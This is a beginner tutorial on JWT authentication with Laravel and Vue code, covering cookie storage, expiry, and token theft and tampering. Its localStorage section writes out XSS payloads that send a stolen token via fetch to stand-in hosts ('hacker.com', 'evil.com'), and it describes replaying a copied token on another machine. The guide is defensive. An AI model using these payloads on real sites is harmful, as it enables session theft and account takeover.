A Complete Guide JWT (JSON Web Token)

Posted on

JWT Authentication: A Complete Guide for Beginners

What is JWT?

JWT (JSON Web Token) is a digital token that contains user information in a compact, URL-safe format.

Real-World Analogy

Think of JWT like a gym membership card:

WITHOUT Membership Card (Traditional Session):
───────────────────────────────────────────────
You: "I want to enter the gym"
Receptionist: "Who are you? Show me your ID"
You: *Shows ID*
Receptionist: *Checks database...* "OK, you can enter"

Tomorrow:
You: "I want to enter the gym"
Receptionist: "Who are you? Show me your ID" ← AGAIN! 
You: *Shows ID*
Receptionist: *Checks database...* "OK, you can enter"

Must verify every single time
Database check required constantly
WITH Membership Card (JWT):
───────────────────────────────────────────────
Day 1:
You: "I want to register"
Receptionist: *Checks ID, payment* → Issues membership card 
Card contains: Your name, member ID, expiry date

Day 2 onwards:
You: *Tap membership card*
Receptionist: "Welcome!" ← INSTANT! 
(No database check needed, card is self-contained)

Fast (no database lookup)
Convenient (register once, use repeatedly)

JWT Structure

A JWT looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImpvaG5AZXhhbXBsZS5jb20iLCJleHAiOjE3MzA0MDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

It consists of three parts separated by dots (.):

  1. Header (red): Algorithm information
  2. Payload (purple): User data (user_id, email, permissions, etc.)
  3. Signature (cyan): Digital signature for validation

Decoded Payload Example:

{
  "user_id": 1,
  "email": "john@example.com",
  "name": "John Doe",
  "roles": ["user", "admin"],
  "iat": 1698739200,  // Issued at (when token was created)
  "exp": 1699344000   // Expires (7 days from creation)
}

How Flow JWT is Created?

Scenario: User First-Time Login

┌─────────────────────────────────────────────────────────┐
│  COMPLETE FLOW: From Landing Page to JWT Creation      │
└─────────────────────────────────────────────────────────┘

Step 1: User visits website.com (not logged in)
   ↓
Step 2: Landing page loads (no JWT yet)
   ↓
Step 3: User clicks "Login" button
   ↓
Step 4: User fills login form
   ↓
Step 5: Frontend sends request to backend
   ↓
Step 6: Backend validates user credentials
   ↓
Step 7: Backend generates JWT ← JWT IS CREATED HERE!
   ↓
Step 8: Backend sends JWT to browser via Cookie
   ↓
Step 9: Browser stores cookie automatically
   ↓
Step 10: User redirected to dashboard
   ↓
Step 11: Every subsequent request includes JWT automatically

Detailed Code Examples

Frontend (Login Form)

<!-- Login.vue -->
<template>
  <div class="login-page">
    <h1>Login</h1>
    <form @submit.prevent="handleLogin">
      <input v-model="email" type="email" placeholder="Email" />
      <input v-model="password" type="password" placeholder="Password" />
      <button type="submit">Login</button>
    </form>
  </div>
</template>

<script setup>
import { ref } from 'vue';
import axios from 'axios';
import { useRouter } from 'vue-router';

const email = ref('');
const password = ref('');
const router = useRouter();

const handleLogin = async () => {
  try {
    // Send login request to backend
    const response = await axios.post('https://api.example.com/auth/login', {
      email: email.value,
      password: password.value
    }, {
      withCredentials: true  // ← IMPORTANT! Allows cookie exchange
    });
    
    console.log('Login successful:', response.data);
    router.push('/dashboard');
    
  } catch (error) {
    alert('Login failed: ' + error.response.data.message);
  }
};
</script>

Backend (JWT Generation)

<?php
// AuthController.php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use App\Models\User;
use Firebase\JWT\JWT;

class AuthController extends Controller
{
    public function login(Request $request)
    {
        // Step 1: Validate input
        $request->validate([
            'email' => 'required|email',
            'password' => 'required'
        ]);
        
        // Step 2: Find user in database
        $user = User::where('email', $request->email)->first();
        
        // Step 3: Verify password
        if (!$user || !Hash::check($request->password, $user->password)) {
            return response()->json([
                'message' => 'Invalid email or password'
            ], 401);
        }
        
        // Step 4: Create JWT payload
        $payload = [
            'user_id' => $user->id,
            'name' => $user->name,
            'email' => $user->email,
            'roles' => ['user'], // User permissions
            'iat' => time(), // Issued at (current timestamp)
            'exp' => time() + (60 * 60 * 24 * 7) // Expires in 7 days
        ];
        
        // Step 5: Generate JWT
        $jwt = JWT::encode(
            $payload, 
            env('JWT_SECRET'), // Secret key from .env file
            'HS256' // Encryption algorithm
        );
        
        // Step 6: Send JWT via Cookie
        return response()->json([
            'message' => 'Login successful',
            'user' => [
                'id' => $user->id,
                'name' => $user->name,
                'email' => $user->email
            ]
        ])->cookie(
            'auth_token',        // Cookie name
            $jwt,                // JWT string
            60 * 24 * 7,        // 7 days (in minutes)
            '/',                 // Path: all paths
            '.example.com',     // Domain: works on all subdomains
            true,                // Secure: HTTPS only
            true,                // HttpOnly: JavaScript cannot access
            false,               // Raw
            'Lax'                // SameSite: Cross-subdomain allowed
        );
    }
}

Subsequent Requests (Automatic)

// Frontend (Vue/React)
// JWT is automatically sent with every request!
axios.get('https://api.example.com/user/profile', {
    withCredentials: true // Cookie automatically attached
});

// Browser automatically sends:
// Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
<?php
// Backend Middleware (Validates JWT)

namespace App\Http\Middleware;

use Closure;
use Firebase\JWT\JWT;
use Firebase\JWT\Key;

class AuthenticateJWT
{
    public function handle($request, Closure $next)
    {
        // Get JWT from cookie
        $jwt = $request->cookie('auth_token');
        
        if (!$jwt) {
            return response()->json(['error' => 'Unauthorized'], 401);
        }
        
        try {
            // Decode JWT (verify signature)
            $decoded = JWT::decode($jwt, new Key(env('JWT_SECRET'), 'HS256'));
            
            // Now we have user data WITHOUT database query!
            $userId = $decoded->user_id;
            $userName = $decoded->name;
            $userEmail = $decoded->email;
            
            // Attach user to request for use in controllers
            $request->merge(['auth_user' => $decoded]);
            
            return $next($request);
            
        } catch (\Exception $e) {
            return response()->json(['error' => 'Invalid or expired token'], 401);
        }
    }
}

Why Backend Sends JWT via Cookie?

Main Purpose: IDENTIFICATION & AUTHORIZATION

The backend sends JWT via cookie to enable:

  1. Automatic authentication on every request
  2. Stateless authentication (no server-side session storage)
  3. Cross-subdomain authentication (single sign-on)
  4. Security (HttpOnly flag prevents JavaScript access)

Complete Request Flow

REQUEST 1: Login
─────────────────────────────────────────────────────────
Browser → Server: POST /api/auth/login
                  { email: "john@example.com", password: "****" }

Server:
  1. Validates credentials 
  2. Generates JWT with user data
  3. Sends JWT via Cookie ← HERE!

Server → Browser: 
  Response: { message: "Login successful", user: {...} }
  Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...;
              Domain=.example.com; HttpOnly; Secure; SameSite=Lax

Browser:
  - Automatically stores cookie
  - Cookie valid for: example.com, api.example.com, app.example.com


REQUEST 2-100: Access protected resources (no re-login!)
─────────────────────────────────────────────────────────
Browser → Server: GET /api/user/profile
                  Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
                  ↑ AUTOMATICALLY sent! No manual coding needed!

Server (Middleware):
  1. Extracts JWT from cookie 
  2. Decodes and verifies JWT 
  3. Gets user data: user_id=1, email=john@example.com
  4. NO DATABASE CHECK NEEDED! ← Key advantage!
  5. Continues to controller

Server → Browser:
  Response: { id: 1, name: "John Doe", email: "john@example.com" }


REQUEST 101: After 7 days (Token Expired)
─────────────────────────────────────────────────────────
Browser → Server: GET /api/user/profile
                  Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Server (Middleware):
  1. Extracts JWT from cookie 
  2. Attempts to decode JWT EXPIRED!
  3. Returns error 401 Unauthorized

Server → Browser:
  Response: { error: "Token expired, please login again" }

Browser:
  - Redirects to login page

LocalStorage vs Cookie

Why LocalStorage is DANGEROUS ?

Many developers store JWT in localStorage because it’s simple:

// Storing JWT in localStorage (DANGEROUS!)
localStorage.setItem('token', jwt);

// Manually attaching to requests
const token = localStorage.getItem('token');
axios.post('/api/booking', data, {
    headers: { 'Authorization': `Bearer ${token}` }
});

The Problem: XSS (Cross-Site Scripting) Attack

// JavaScript CAN access the token!
console.log(localStorage.getItem('token')); // Token visible!

// DANGER: XSS Attack Example
// Hacker injects malicious JavaScript:
<script>
    // Steal user's token!
    fetch('https://hacker.com/steal', {
        method: 'POST',
        body: localStorage.getItem('token') // ← Token stolen!
    });
</script>

// Hacker now has your authentication token
// Hacker can impersonate you!

Real-World Attack Scenario:

  1. Hacker finds XSS vulnerability (e.g., unescaped comment form)
  2. Hacker injects: <script>fetch('https://evil.com?token='+localStorage.getItem('token'))</script>
  3. Victim views page with malicious script
  4. Token automatically sent to hacker’s server
  5. Hacker uses token to access victim’s account

Why Cookie with HttpOnly is SAFE?

// Backend sends JWT via HttpOnly cookie
return response()->json(['message' => 'Login success'])
    ->cookie(
        'auth_token',
        $jwt,
        60 * 24 * 7,
        '/',
        '.example.com',
        true,     // secure: HTTPS only
        true      // httpOnly: CANNOT be accessed by JavaScript! ← KEY!
    );
// Frontend does NOT handle token manually!
axios.post('/api/booking', data, {
    withCredentials: true  // ← Cookie automatically sent!
});

// JavaScript CANNOT access the token!
console.log(document.cookie); // Token not visible (because httpOnly)!

// SAFE from XSS Attack
// Hacker injects malicious JavaScript:
<script>
    // Try to steal token...
    console.log(document.cookie); // ← Token NOT visible! 
    fetch('https://hacker.com/steal?token=' + document.cookie);
    // Hacker gets nothing! 
</script>

Comparison Table:

Why Not Cache?

Cache and cookies serve completely different purposes:

Cookie

Purpose: Identify and authenticate users

Location: Browser (client-side)
Sent to server: Yes, every request
Function: User identification, preferences
Size: Max 4KB per cookie
Expiration: Set manually (7 days, 1 year, etc.)
User can edit: Yes (in DevTools)
Example use: Authentication token, user theme

Cache

Purpose: Speed up loading by storing temporary data

Server-Side Cache

Location: Server (Redis, Memcached, database)
Sent to server: No (stored on server)
Function: Speed up data access
Size: Can be GB
Expiration: Automatic (based on strategy)
User can edit: No (managed automatically)
Example use: Database query results, computed data
use Illuminate\Support\Facades\Cache;

// Server-side cache example
$user = Cache::remember('user_profile_' . $userId, 3600, function() use ($userId) {
    return User::find($userId); // Query DB if cache empty
});

Browser Cache (HTTP Cache)

Location: Browser (client-side)
Sent to server: No (used locally)
Function: Avoid re-downloading static files
Size: Can be GB
Expiration: Based on HTTP headers
User can edit: No (automatic)
Example use: Images, CSS, JavaScript files

How Browser Cache Works:

Request 1:
Browser → Server: "Give me logo.png"
Server → Browser: [logo.png] + Header: Cache-Control: max-age=3600

Request 2 (within 1 hour):
Browser: "I have logo.png in cache, no need to request!"
         ↓ Load directly from disk
         [logo.png] Super fast!

Why Cache Cannot Replace Cookie for JWT

Cache is NOT sent to server
   → Server cannot identify user

Cache is for static/computed data
   → Not for authentication

Browser cache cannot be accessed by server
   → Server needs JWT on every request

Cookie is sent to server automatically
   → Perfect for authentication

Different Use Cases:

// Cookie: Authentication (who is making the request?)
$userId = $request->cookie('auth_token'); // Sent every request

// Cache: Speed up data access (avoid DB query)
$userData = Cache::get('user_' . $userId); // Server-side only

Can JWT Be Seen and Copied?

Yes, JWT Can Be Seen

In Browser DevTools:

Chrome DevTools:
1. Press F12
2. Go to "Application" tab
3. Click "Cookies" → "https://example.com"
4. You'll see: auth_token = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

You CAN see the JWT!

Decode JWT at jwt.io:

If you copy the JWT and paste it into https://jwt.io, you’ll see:

{
  "user_id": 1,
  "email": "john@example.com",
  "name": "John Doe",
  "iat": 1698739200,
  "exp": 1699344000
}

Important: JWT is encoded, NOT encrypted!

  • Anyone can decode and READ the payload
  • But they CANNOT modify it (signature prevents tampering)

Can It Be Copied to Another Computer?

Short Answer: YES, but with limitations

Scenario: Copying JWT to another laptop

Laptop A (Original):
1. User logs in
2. Gets JWT in cookie: eyJhbGci...
3. Copy JWT from DevTools

Laptop B (New):
1. Open DevTools → Application → Cookies
2. Manually create cookie: auth_token = eyJhbGci...
3. Refresh page
4. You're logged in! (as the same user)

This works because:

  • JWT contains all user information
  • Server validates JWT, not the device
  • No device fingerprinting by default

Can It Be Hacked?

Answer: Yes, if not properly secured

Attack Method 1: Token Theft

If attacker gets your JWT:
1. XSS Attack (if stored in localStorage) 
2. Man-in-the-Middle (if not using HTTPS) 
3. Physical access to your computer
4. Malware on your device 

Prevention:
Use HttpOnly cookies (prevents XSS)
Use HTTPS (prevents Man-in-the-Middle)
Use Secure flag (cookie only sent over HTTPS)
Short expiration time (7 days max)
Use SameSite flag (prevents CSRF)

Attack Method 2: Token Tampering

Attacker tries to modify JWT:

Original JWT payload:
{
  "user_id": 1,
  "role": "user",
  "exp": 1699344000
}

Attacker changes to:
{
  "user_id": 1,
  "role": "admin", ← Changed!
  "exp": 1699344000
}

Result: FAILS!
Reason: Signature becomes invalid
Server rejects the modified token

Why Tampering Doesn’t Work:

JWT Signature = HMAC(
    header + payload,
    SECRET_KEY ← Only server knows this!
)

Attacker changes payload → Signature no longer matches → Rejected!

Security Best Practices

// GOOD: HttpOnly, Secure, SameSite
return response()->json($data)->cookie(
    'auth_token',
    $jwt,
    60 * 24 * 7,     // 7 days (not too long!)
    '/',
    '.example.com',
    true,            // Secure: HTTPS only
    true,            // HttpOnly: No JavaScript access
    false,
    'Lax'            // SameSite: Basic CSRF protection
);

// BAD: No security flags
return response()->json($data)->cookie(
    'auth_token',
    $jwt,
    60 * 24 * 365,   // 1 year (too long!)
    '/',
    '.example.com',
    false,           // Works on HTTP (insecure!)
    false,           // JavaScript can access (XSS risk!)
    false,
    'None'           // No CSRF protection
);

Additional Security Layers:

// 1. IP Address Validation
$payload = [
    'user_id' => 1,
    'ip' => $request->ip(), // Store IP in JWT
    'exp' => time() + (60 * 60 * 24 * 7)
];

// In middleware, verify IP matches
if ($decoded->ip !== $request->ip()) {
    return response()->json(['error' => 'Token used from different IP'], 401);
}

// 2. User Agent Validation
$payload = [
    'user_id' => 1,
    'user_agent' => $request->userAgent(),
    'exp' => time() + (60 * 60 * 24 * 7)
];

// 3. Token Blacklist (for logout)
// Store revoked tokens in Redis
Redis::setex('blacklist:' . $jti, 604800, 1); // 7 days

// In middleware, check blacklist
if (Redis::exists('blacklist:' . $decoded->jti)) {
    return response()->json(['error' => 'Token has been revoked'], 401);
}

Main Purpose of JWT

Core Function: Stay Logged In Without Re-Authentication

Exactly! Your understanding is correct!

JWT’s primary purpose is to allow users to remain authenticated without logging in repeatedly.

Traditional Session (Without JWT)

Day 1 - 10:00 AM: User logs in
├─ Server creates session in database
├─ Server sends session ID via cookie
└─ User accesses dashboard 

Day 1 - 10:30 AM: User accesses profile
├─ Browser sends session ID
├─ Server checks session in database ← Database query!
└─ User accesses profile 

Day 1 - 11:00 AM: User accesses settings
├─ Browser sends session ID
├─ Server checks session in database ← Database query again!
└─ User accesses settings 

Every request = Database query! 

JWT Approach

Day 1 - 10:00 AM: User logs in
├─ Server generates JWT (contains user data)
├─ Server sends JWT via cookie
└─ User accesses dashboard 

Day 1 - 10:30 AM: User accesses profile
├─ Browser sends JWT
├─ Server decodes JWT (no database query!) ← Faster!
└─ User accesses profile 

Day 1 - 11:00 AM: User accesses settings
├─ Browser sends JWT
├─ Server decodes JWT (no database query!) ← Faster!
└─ User accesses settings 

Days 2-7: Same JWT works! No re-login needed! 

Day 8: JWT expires
├─ Browser sends expired JWT
├─ Server rejects: "Token expired"
└─ User must login again (get new JWT for next 7 days)

7-Day Expiration Example

Timeline:

October 1, 10:00 AM - User logs in
├─ JWT created with exp: October 8, 10:00 AM
└─ Cookie stored in browser

October 1-7 (7 days)
├─ User visits website: Automatically logged in
├─ User closes browser: Still logged in (cookie persists)
├─ User restarts computer: Still logged in
├─ User uses different browser tab: Still logged in
└─ NO login required during these 7 days! 

October 8, 10:01 AM (After 7 days)
├─ User visits website
├─ Browser sends JWT
├─ Server checks: exp=October 8, 10:00 AM (expired!) 
├─ Server returns: "Token expired, please login"
└─ User must login again → Gets NEW JWT for next 7 days

Practical Benefits

For Users

Login once, stay logged in for days/weeks
Don't need to remember password for every visit
Seamless experience across multiple subdomains
Fast page loads (no authentication delay)

For Developers

Stateless authentication (no session storage needed)
Easy to scale (no shared session database)
Works across multiple servers/services
Better performance (no database checks on every request)

Configuring Expiration Time

Common Expiration Strategies:

// Short-lived (High security apps: banking, medical)
'exp' => time() + (60 * 15) // 15 minutes

// Medium (Most web apps: e-commerce, social media)
'exp' => time() + (60 * 60 * 24 * 7) // 7 days

// Long-lived (Low security apps: blogs, news sites)
'exp' => time() + (60 * 60 * 24 * 30) // 30 days

// Very long (Remember me feature)
'exp' => time() + (60 * 60 * 24 * 365) // 1 year

Refresh Token Pattern (Advanced)

For better security with longer sessions:

// Two tokens approach
{
    "access_token": "eyJhbG...",  // Short-lived (15 minutes)
    "refresh_token": "dGhpcyB..." // Long-lived (30 days)
}

Flow:
1. Login → Get access_token (15 min) + refresh_token (30 days)
2. Make API calls with access_token
3. Access_token expires after 15 minutes
4. Use refresh_token to get NEW access_token
5. Repeat steps 2-4 for 30 days
6. After 30 days, refresh_token expires → Must login again

Benefit:
- Access_token expires quickly (safer if stolen)
- User doesn't need to login frequently
- Refresh_token can be revoked from database

Summary

Key Takeaways

  1. JWT = Digital identity card containing user information
  2. Cookie with HttpOnly is the safest way to store JWT
  3. LocalStorage is dangerous due to XSS attacks
  4. Cache is for speed, not authentication
  5. JWT can be seen but cannot be tampered with
  6. Copying JWT works but has security risks (use HTTPS, IP validation)
  7. Main purpose: Stay logged in without re-authentication for X days

Quick Decision Guide

Use JWT when:

  • You need stateless authentication
  • You have multiple subdomains (SSO)
  • You want to scale horizontally
  • You want better performance (no DB checks)

Use traditional sessions when:

  • You need instant logout across all devices
  • You have simple single-domain app
  • You’re building high-security app (banking, healthcare)

Happy coding!!!